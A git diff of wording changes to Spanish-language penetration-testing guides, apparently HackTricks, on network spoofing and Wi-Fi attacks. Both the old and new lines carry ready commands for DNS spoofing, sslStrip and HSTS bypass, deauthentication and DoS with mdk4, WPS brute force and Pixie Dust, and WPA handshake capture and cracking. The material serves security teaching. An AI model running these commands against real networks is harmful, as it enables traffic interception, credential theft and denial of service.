[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones de EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento.
|
||||
|
||||
### OSPF
|
||||
|
||||
En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para asegurar la comunicación entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente.
|
||||
En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para garantizar una comunicación segura entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de la ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente.
|
||||
|
||||
- **Captura y Descifrado de Hashes MD5:** Herramientas como Loki y John the Ripper se utilizan para este propósito.
|
||||
- **Captura y Descifrado de Hashes MD5:** Se utilizan herramientas como Loki y John the Ripper para este propósito.
|
||||
- **Configuración de Parámetros de Ruta:** Esto se realiza a través de la pestaña _Injection_.
|
||||
- **Configuración de la Clave Comprometida:** La clave se configura en la pestaña _Connection_.
|
||||
|
||||
@ -592,7 +592,7 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
Consulta la [sección anterior](./#arp-spoofing).
|
||||
Consulta la [sección anterior](#arp-spoofing).
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
@ -608,7 +608,7 @@ El atacante resolverá algunos (o todos) los dominios que la víctima solicite.
|
||||
```bash
|
||||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||||
```
|
||||
**Configurar su propio DNS con dnsmasq**
|
||||
**Configurar propio DNS con dnsmasq**
|
||||
```bash
|
||||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||||
dig @localhost domain.example.com # Test the configured DNS
|
||||
@ -650,7 +650,7 @@ Los navegadores comúnmente emplean el **protocolo Web Proxy Auto-Discovery (WPA
|
||||
|
||||
La herramienta Responder aprovecha este protocolo actuando como un **servidor WPAD malicioso**. Utiliza DHCP, DNS, LLMNR y NBT-NS para engañar a los clientes y hacer que se conecten a él. Para profundizar en cómo se pueden suplantar servicios utilizando Responder [consulta esto](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing dispositivos SSDP y UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
### [Spoofing SSDP y dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Puedes ofrecer diferentes servicios en la red para intentar **engañar a un usuario** para que ingrese algunas **credenciales en texto plano**. **Más información sobre este ataque en** [**Spoofing SSDP y Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
Básicamente, lo que hace este ataque es que, en caso de que el **usuario** intente **acceder** a una página **HTTP** que está **redireccionando** a la versión **HTTPS**. **sslStrip** mantendrá una **conexión HTTP con** el **cliente y** una **conexión HTTPS con** el **servidor** para que pueda **interceptar** la conexión en **texto plano**.
|
||||
Básicamente, lo que hace este ataque es que, en caso de que el **usuario** intente **acceder** a una página **HTTP** que está **redireccionando** a la versión **HTTPS**. **sslStrip** mantendrá una **conexión HTTP con** el **cliente** y una **conexión HTTPS con** el **servidor**, por lo que podrá **interceptar** la conexión en **texto plano**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -697,7 +697,7 @@ Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlin
|
||||
|
||||
### sslStrip+ y dns2proxy para eludir HSTS
|
||||
|
||||
La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)** pero tras bambalinas **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**.
|
||||
La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)**, pero tras bambalinas **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**.
|
||||
|
||||
El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no será** guardado en la **caché** del navegador, por lo que el navegador será engañado para realizar **la autenticación de facebook en HTTP**.\
|
||||
Tenga en cuenta que para realizar este ataque la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no a https. Esto se puede hacer modificando los enlaces dentro de una página http.
|
||||
@ -713,7 +713,7 @@ TODO: easy-creds, evilgrade, metasploit, factory
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
```
|
||||
## TCP + SSL escucha en el puerto
|
||||
## TCP + SSL escuchar en el puerto
|
||||
|
||||
#### Generar claves y certificado autofirmado
|
||||
```
|
||||
@ -770,7 +770,7 @@ Tenga en cuenta que cuando se envía un paquete UDP a un dispositivo que no tien
|
||||
|
||||
### **Descubrimiento ARP**
|
||||
|
||||
Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC debe enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán.
|
||||
Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán.
|
||||
|
||||
### **mDNS (DNS multicast)**
|
||||
|
||||
@ -782,7 +782,7 @@ Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\
|
||||
- Bettercap (net.probe.mdns)
|
||||
- Responder
|
||||
|
||||
### **NBNS (Servidor de Nombres NetBios)**
|
||||
### **NBNS (NetBios Name Server)**
|
||||
|
||||
Bettercap transmite paquetes al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
|
||||
|
||||
@ -45,7 +45,7 @@ v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
### wifiphisher
|
||||
|
||||
Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
|
||||
Puede realizar ataques de Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
@ -55,14 +55,14 @@ sudo python setup.py install # Install any dependencies
|
||||
|
||||
Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
|
||||
|
||||
- Establece la interfaz en modo monitor
|
||||
- Configura la interfaz en modo monitor
|
||||
- Escanea redes posibles - Y te permite seleccionar la(s) víctima(s)
|
||||
- Si es WEP - Lanza ataques WEP
|
||||
- Si es WPA-PSK
|
||||
- Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos.
|
||||
- Intenta capturar el PMKID del AP para crackearlo
|
||||
- Intenta desautenticar a los clientes del AP para capturar un handshake
|
||||
- Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas principales.
|
||||
- Si hay PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas principales.
|
||||
|
||||
## Resumen de Ataques
|
||||
|
||||
@ -71,7 +71,7 @@ Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
|
||||
- APs falsos aleatorios -- Ocultar redes, posible colapso de escáneres
|
||||
- Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil)
|
||||
- WIDS -- Jugar con el IDS
|
||||
- TKIP, EAPOL -- Algunos ataques específicos para DoS a algunos APs
|
||||
- TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs
|
||||
- **Cracking**
|
||||
- Crackear **WEP** (varias herramientas y métodos)
|
||||
- **WPA-PSK**
|
||||
@ -79,14 +79,14 @@ Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
|
||||
- Fuerza bruta de **WPA PMKID**
|
||||
- \[DoS +] captura de **WPA handshake** + Cracking
|
||||
- **WPA-MGT**
|
||||
- **Captura de Nombre de Usuario**
|
||||
- Captura de **Nombre de usuario**
|
||||
- Credenciales de **Fuerza Bruta**
|
||||
- **Evil Twin** (con o sin DoS)
|
||||
- **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
- **Evil Twin** Abierto \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
- **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña
|
||||
- **WPA-MGT** -- Útil para capturar credenciales de la empresa
|
||||
- **KARMA, MANA**, **Loud MANA**, **Beacon conocido**
|
||||
- **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
- **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
- **+ WPA** -- Útil para capturar handshakes de WPA
|
||||
|
||||
## DOS
|
||||
@ -95,7 +95,7 @@ Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
|
||||
|
||||
**Descripción de** [**aquí**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, lo que permite a los atacantes recopilar handshakes de WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.
|
||||
Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, permitiendo a los atacantes recolectar handshakes de WPA para fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.
|
||||
|
||||
**Desautenticación usando Aireplay-ng**
|
||||
```
|
||||
@ -120,7 +120,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
||||
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
```
|
||||
### **Más ataques DOS por mdk4**
|
||||
### **Más ataques DOS con mdk4**
|
||||
|
||||
**En** [**aquí**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
@ -146,11 +146,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta**
|
||||
|
||||
El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.
|
||||
El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con **la fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.
|
||||
|
||||
**MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
|
||||
|
||||
Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP durante un minuto. Este método es una táctica eficiente de ataque **DoS** (Denial of Service).
|
||||
Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP de un minuto. Este método es una táctica eficiente de ataque **DoS** (Denial of Service).
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -186,18 +186,18 @@ _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios
|
||||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) simplifica el proceso de conexión de dispositivos a un enrutador, mejorando la velocidad y facilidad de configuración para redes encriptadas con **WPA** o **WPA2** Personal. Es ineficaz para la seguridad WEP, que es fácilmente comprometida. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades).
|
||||
WPS (Wi-Fi Protected Setup) simplifica el proceso de conectar dispositivos a un enrutador, mejorando la velocidad y facilidad de configuración para redes encriptadas con **WPA** o **WPA2** Personal. Es ineficaz para la seguridad WEP, que es fácilmente comprometida. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades).
|
||||
|
||||
### Fuerza Bruta WPS
|
||||
|
||||
Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.
|
||||
|
||||
- **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
|
||||
- **Bully** es una **nueva implementación** del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto del orden de bytes, y un conjunto de opciones más robusto.
|
||||
- **Bully** es una **nueva implementación** del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de endianness, y un conjunto de opciones más robusto.
|
||||
|
||||
El ataque explota la **vulnerabilidad del PIN WPS**, particularmente su exposición de los primeros cuatro dígitos y el papel del último dígito como un checksum, facilitando el ataque de fuerza bruta. Sin embargo, las defensas contra ataques de fuerza bruta, como **bloquear direcciones MAC** de atacantes agresivos, exigen **rotación de direcciones MAC** para continuar el ataque.
|
||||
|
||||
Al obtener el PIN WPS con herramientas como Bully o Reaver, el atacante puede deducir el PSK WPA/WPA2, asegurando **acceso persistente a la red**.
|
||||
Al obtener el PIN WPS con herramientas como Bully o Reaver, el atacante puede deducir el WPA/WPA2 PSK, asegurando **acceso persistente a la red**.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
@ -207,18 +207,18 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conocidas:
|
||||
|
||||
1. **PINs predescubiertos**: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los PINs probables para estos fabricantes.
|
||||
2. **Algoritmos de generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación de PIN.
|
||||
2. **Algoritmos de generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación del PIN.
|
||||
|
||||
### Ataque WPS Pixie Dust
|
||||
|
||||
**Dominique Bongard** descubrió un fallo en algunos Puntos de Acceso (APs) relacionado con la creación de códigos secretos, conocidos como **nonces** (**E-S1** y **E-S2**). Si estos nonces pueden ser descubiertos, descifrar el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para demostrar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más sobre esto se puede encontrar [aquí](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
|
||||
En términos simples, el problema es que algunos APs no utilizaron llaves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).
|
||||
En términos simples, el problema es que algunos APs no utilizaron claves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
Si no quieres cambiar el dispositivo a modo monitor, o `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor.
|
||||
Si no deseas cambiar el dispositivo a modo monitor, o si `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor.
|
||||
```bash
|
||||
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
||||
```
|
||||
@ -242,7 +242,7 @@ Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando _**ai
|
||||
|
||||
## **WEP**
|
||||
|
||||
Tan roto y sin usar hoy en día. Solo sepas que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
|
||||
Tan roto y sin usar en la actualidad. Solo sepas que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,9 +295,9 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
|
||||
|
||||
### Captura de handshake
|
||||
### Captura de handshakes
|
||||
|
||||
Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** e intentando **crackear** la contraseña **offline**. Este proceso implica monitorear la comunicación de una red específica y **BSSID** en un **canal** particular. Aquí hay una guía simplificada:
|
||||
Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** e intentando **crackear** la contraseña **offline**. Este proceso implica monitorear la comunicación de una red específica y el **BSSID** en un **canal** particular. Aquí hay una guía simplificada:
|
||||
|
||||
1. Identificar el **BSSID**, **canal** y un **cliente conectado** de la red objetivo.
|
||||
2. Usar `airodump-ng` para monitorear el tráfico de la red en el canal y BSSID especificados, con la esperanza de capturar un handshake. El comando se verá así:
|
||||
@ -308,7 +308,7 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
_Tenga en cuenta que, como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
|
||||
_Tenga en cuenta que, al ser desautenticado, el cliente podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
|
||||
|
||||
Una vez que en el `airodump-ng` aparece información de handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar:
|
||||
|
||||
@ -332,7 +332,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
|
||||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._
|
||||
_ si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
@ -348,23 +348,23 @@ En **configuraciones de WiFi empresarial, encontrarás varios métodos de autent
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto claro al punto de acceso, lo que representa un riesgo para ataques de degradación.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, la falta de autenticación del servidor y la incapacidad de generar claves WEP específicas de la sesión.
|
||||
- Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, la falta de autenticación del servidor y la incapacidad para generar claves WEP específicas de la sesión.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
- Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones.
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
- Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
|
||||
- Proporciona autenticación mutua a través de un túnel cifrado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
- Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
|
||||
- **PEAP-MSCHAPv2**: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
|
||||
- **PEAP-MSCHAPv2**: A menudo referido como PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
|
||||
- **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad.
|
||||
|
||||
Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
### Captura de Nombre de Usuario
|
||||
|
||||
Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP**, los **mensajes de "Identidad"** deben ser **soportados**, y el **nombre de usuario** se enviará en **claro** en los mensajes de **"Respuesta de Identidad"**.
|
||||
Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que si estás usando **EAP**, los **mensajes de "Identidad"** deben ser **soportados**, y el **nombre de usuario** se enviará en **claro** en los **mensajes de "Respuesta de Identidad"**.
|
||||
|
||||
Incluso usando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
|
||||
Incluso utilizando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
|
||||
Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
|
||||
|
||||
.png>)
|
||||
@ -376,16 +376,16 @@ El ocultamiento de identidad es soportado tanto por EAP-PEAP como por EAP-TTLS.
|
||||
- EAP-Identidad = anónimo
|
||||
- En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) se maneja localmente o se delega a un servidor RADIUS remoto (de origen).
|
||||
- EAP-Identidad = anónimo@realm_x
|
||||
- En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
|
||||
- Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios.
|
||||
- En esta situación, los usuarios de diferentes reinos ocultan sus identidades mientras indican sus respectivos reinos. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus reinos de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
|
||||
- Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios reinos.
|
||||
|
||||
En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11.
|
||||
En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11.
|
||||
|
||||
EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo User-Name y ya sea un atributo Password o CHAP-Password en el mensaje TLS inicial enviado después del establecimiento del túnel.
|
||||
|
||||
Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS del hogar del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS del hogar sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante.
|
||||
|
||||
Para más información consulta [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
Para más información, consulta [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
### EAP-Bruteforce (spray de contraseñas)
|
||||
|
||||
@ -405,18 +405,18 @@ También podrías realizar este ataque utilizando `eaphammer`:
|
||||
|
||||
### Selección de red y roaming
|
||||
|
||||
